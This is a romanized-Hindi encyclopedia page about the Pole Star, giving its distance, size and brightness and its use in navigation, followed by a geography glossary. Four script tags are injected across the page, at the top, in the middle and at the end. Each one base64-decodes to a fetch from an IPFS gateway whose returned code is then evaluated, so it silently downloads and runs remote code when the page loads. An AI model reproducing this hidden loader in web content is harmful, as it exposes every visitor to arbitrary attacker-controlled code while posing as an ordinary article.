ध्रुव तारा

भारत डिस्कवरी प्रस्तुति
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb||250px|dhruv tara dhruv tara (aangrezi: Pole Star) brahmaand mean sthit ek aisa tara, jo sadaiv uttar ki or iangit karata hai. uttari golarddh se yah pratyek sthan se uttar disha mean dikhaee deta hai. yah vastavik uttar ko iangit karata hai.

  • asaman mean uttar ki or dekhane par jo sabase chamakata hua tara najar ata hai, use dhruv tara kaha jata hai. vah hamase 390 prakash varsh door hai.
  • ise aangrezi mean 'pol star' kaha jata hai. pol ko hindi mean 'dhruv' kahate haian.
  • prithvi se dhruv tara ki doori 390 prakash varsh hai. isaki khoobi yah bhi hai ki uttari pol yani dhruv se yah ek jagah sthir najar ata hai. is karan samudr v registan mean saphar karane vale log disha ke jnan ke lie bhi is tare ka sahara lete haian.

thumb|left|250px|dhruv tara

  • akar mean bahut b da hone ke karan khagolashastri dhruv tare ko atyant roshani vala 'mahadanav tara' bhi kahate haian.
  • hamara soory bhi ek tara hai, lekin dhruv tara soory se bhi b da hai. is tare ka vyas soory se 30 guna adhik hai. bhar mean yah soory se 7.50 guna adhik hai aur isaki chamak to soory se 22 sau guna adhik hai. soory se prithvi ki doori lagabhag 15 karo d kilomitar hai, jabaki dhruv tare ki doori 390 prakashavarsh hai. yani prakash ki kiran 390 varsh mean jitani doori tay karegi, dhruv tara hamase utani doori par sthit hai. prakash kiran ek sekeand mean lagabhag tin lakh kilomitar ki doori tay kar leti hai. vaijnanik manate haian ki 26 hajar varsh mean ek bar dhruv tare ke sthan mean parivartan ata hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

dekhean • varta • badalean
bhoogol shabdavali
uttari dhruv • rekhaansh • diksoochak • baandh • samakalik rekha • pataliy bhookamp • valit parvat • chumbakiy nati • jalaprapat • prakrit pralay • naimittik pralay • pralay • tapasah padarth • pulin • paithik lava • utravat bhoomi • alanino • pavan • darra • koniy apavah • abhivahan • asann sagar • anukoolan • parasanskritigrahan • dashanukoolan • aparadan • tvarit aparadan • agadh kshetr • vitaliy shail • apaksharan • ajaivik • parityakt delta • dolomait • choona patthar • nilofar chakravat • chakravat • ghat ki nav • ghat nadi • eriake • fartail kreset • blijard ka ghar • phatav bhransh • jalodh sabhyata • ghat • parvatamala • pachhua pavan • taiga • jvalakach • jvarasiddhaant • la nino • el nino • ayan mandal • tatabandh • jvar muhana • manasooni van • gailapaigas • ushn katibandh • avarohi pavan • sarita • osaank • chakravat ki aankh • mahasagariy nikshep • jalodh pankh • mahan darar ghati • darar (bhoovijnan) • vyaparik pavan • parvat samir • ghati samir • jvaranadimukh • delta • mrit bhoomi • bhavar • chha dan jhil • mrit ghati • muktabh megh • mishrit krishi • bhaumapank udgar • dhoom kohara • aantarved • agnisah mitti • adh:shail • baloo • dakshini dhruv • jvar bhata • bhooskhalan • bhookanp • sunami • toofan • badh • manasoon • praval dvip • jalavayu pradesh • tundra • sangam • dakkan ka pathar • indira p aauint • mishrit jvalamukhi • dhal jvalamukhi • regs • utkhat bhoomi • mahasagar • panchadravi d • sagar • jhil • mitti • pradooshan gumbad • jalasanbhar • manachitr par aankit rekhaean • mrida jal • chumbakiy vichalan rekha • pavan rodh • aipr aaun • vayudab mapi jvar • raktavrishti • vrishti chhap • krishnaika sima • bat hiddan • bat phuran • arohi pavan • ooshma dvip • kaisimbo • apodh rekha • bales rekha • chos • barakhan • khol • jal rashi • namabhoomi • badal • makar rekha • kark rekha • plet tektoniks • avashisht parvat • jvalamukhi parvat • avarodhi parvat • mo dadar parvat • himarekha • roopaantarit chattan • uposhn • doab • kainopi • loes • bhooksharan • maidan • pathar • shant jvalamukhi • prasupt jvalamukhi • sakriy jvalamukhi • jvalamukhi • avasadi chattan • sil • laikolith • baitholith • agney chattan • dhruviy katibandh • shitoshn katibandh • uposhn katibandh • vishuvat rekha • ooshn katibandh • katibandh • manak samay • grinavich min taim • deshantar • akshaansh rekhaean • prachy • parvatiy varsha • sholavan • marusthaliy van • jvariy van • gokak • koromandal maidan • utkal tatiy maidan • koankan tatiy maidan • dakkan traip • vindhyan chattan • kudappa chattan • dharava d chattan • flaish flad • aant: pravah kshetr • hoj • cheri bl aausam • kal vaisakhi • manasooni gart • bordo chilla • badal phatana • pashchimi vikshobh • talli • manasoon ka prasphot • poorvavarti apavah • anugami apavah • doon • loo • chay varsha • amr varsha • vishuv • vailes lain • ardr bhoomi • apavah kshetr • kareva • cho • dhaya • dhand • dhoros • reh • baangar • khadar • taraee • bhabhar • bhoor • bih d • bil • bet • bhoogol shabdavali • agnisah eeant • abadh vyapar • aisabarg • arkatik pradesh • eeant • eeant ka bhatta • aikanakagua • aisfalt • ajaiv • parvatiy jalavayu • mahadvipiy jalavayu • marusthaliy jalavayu • ardr ardh-katibandhiy jalavayu • himachadar • pakshabh megh • dhaval tushar • saiant elmo ki agni • ayanaant • laghu jvar • hyoomas • kapasi megh • dakshini golardh • uttari golardh • parvat katak · ekaki parvat · parvat varg · parvat tantr · parvat samooh · charniyan parvat · kelidoniyan parvat · harasiniyan parvat · alpain parvat · khand parvat · jvalamukhi parvat · avashisht parvat · sanghanan · gokhur jhil · satath vikas · himapat · poorvavarti nadi · dainik tapantar · aant pravah pradesh · ushma dvip · dhruv tara · gahan krishi · dhruv tara · prakash varsh · paha di‎ • parvat shreni‎ • parvat shrankhala‎ • gumbadakar parvat • sangrahit parvat‎ • lava • jvalamukhi shanku • rakh shanku • lava shanku • amliy lava shanku • kshariy lava shanku • mishrit jvalamukhi shanku • pariposhit shanku • kendriy udgar • darari udgar • piliyan tuly jvalamukhi • valkaino tuly jvalamukhi • stramboli tuly jvalamukhi • havaeeyan tuly jvalamukhi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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